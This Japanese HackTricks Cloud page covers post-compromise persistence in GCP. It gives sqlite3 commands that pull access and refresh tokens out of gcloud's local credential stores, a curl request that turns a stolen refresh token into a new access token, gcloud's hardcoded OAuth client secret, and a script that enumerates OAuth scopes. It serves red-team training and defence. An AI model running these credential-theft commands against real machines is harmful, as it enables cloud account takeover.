GCP - Non-svc Persistance

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

これらは、何らかの方法でGCPの資格情報やGCP環境で動作しているマシンを侵害した後に役立つ技術です。

Token Hijacking

Authenticated User Tokens

ユーザーの現在のトークンを取得するには、次のコマンドを実行します:

sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

このページでgcloudを使用してこのトークンを直接使用する方法を確認してください:

新しいアクセストークンを生成するための詳細を取得するには、次のコマンドを実行します:

sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

**$HOME/.config/gcloud/application_default_credentials.json$HOME/.config/gcloud/legacy_credentials/*/adc.json**でリフレッシュトークンを見つけることも可能です。

refresh token、client ID、およびclient secretを使用して新しいリフレッシュされたアクセストークンを取得するには、次のコマンドを実行します:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

リフレッシュトークンの有効期限は Admin > Security > Google Cloud session control で管理でき、デフォルトでは16時間に設定されていますが、無期限に設定することもできます。

Auth flow

gcloud auth login のようなものを使用する場合の認証フローは、ブラウザにプロンプトが表示され、すべてのスコープを承認した後、ブラウザがツールによって開かれた http ポートに次のようなリクエストを送信します:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

次に、gcloudは、いくつかのハードコードされたclient_id32555940559.apps.googleusercontent.com)と**client_secret**(ZmssLNjJy2998hD4CTg2ejr2)を使用して、最終的なリフレッシュトークンデータを取得します。

localhostとの通信はHTTPで行われるため、データを傍受してリフレッシュトークンを取得することが可能ですが、このデータは1回だけ有効なので、これは無意味です。ファイルからリフレッシュトークンを直接読む方が簡単です。

OAuth Scopes

すべてのGoogleスコープはhttps://developers.google.com/identity/protocols/oauth2/scopesで見つけることができます。または、次のコマンドを実行して取得できます:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

**gcloud**が認証に使用するアプリケーションがサポートできるスコープをこのスクリプトで確認することが可能です:

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
After executing it it was checked that this app supports these scopes:

実行後、このアプリがこれらのスコープをサポートしていることが確認されました:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

このアプリが**drive**スコープをサポートしているのは興味深いです。攻撃者がユーザーにこのスコープでトークンを生成させることができれば、GCPからWorkspaceへのエスカレーションが可能になります。

これを悪用する方法については こちらを参照してください

Service Accounts

認証されたユーザーと同様に、サービスアカウントの秘密鍵ファイルを侵害することができれば、通常は好きなだけアクセスすることができます。 しかし、サービスアカウントのOAuthトークンを盗むことができれば、さらに興味深いことになります。デフォルトではこれらのトークンは1時間しか有効ではありませんが、被害者が秘密のAPIキーを削除しても、OAuthトークンは有効期限が切れるまで有効です。

Metadata

明らかに、GCP環境で動作しているマシン内にいる限り、メタデータエンドポイントに接続してそのマシンにアタッチされたサービスアカウントにアクセスすることができます(このエンドポイントでアクセスできるOAuthトークンは通常スコープによって制限されています)。

Remediations

これらの技術に対するいくつかの対策はhttps://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2で説明されています。

References

AWS Hackingを学び、練習する:HackTricks Training AWS Red Team Expert (ARTE) GCP Hackingを学び、練習する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする

Last updated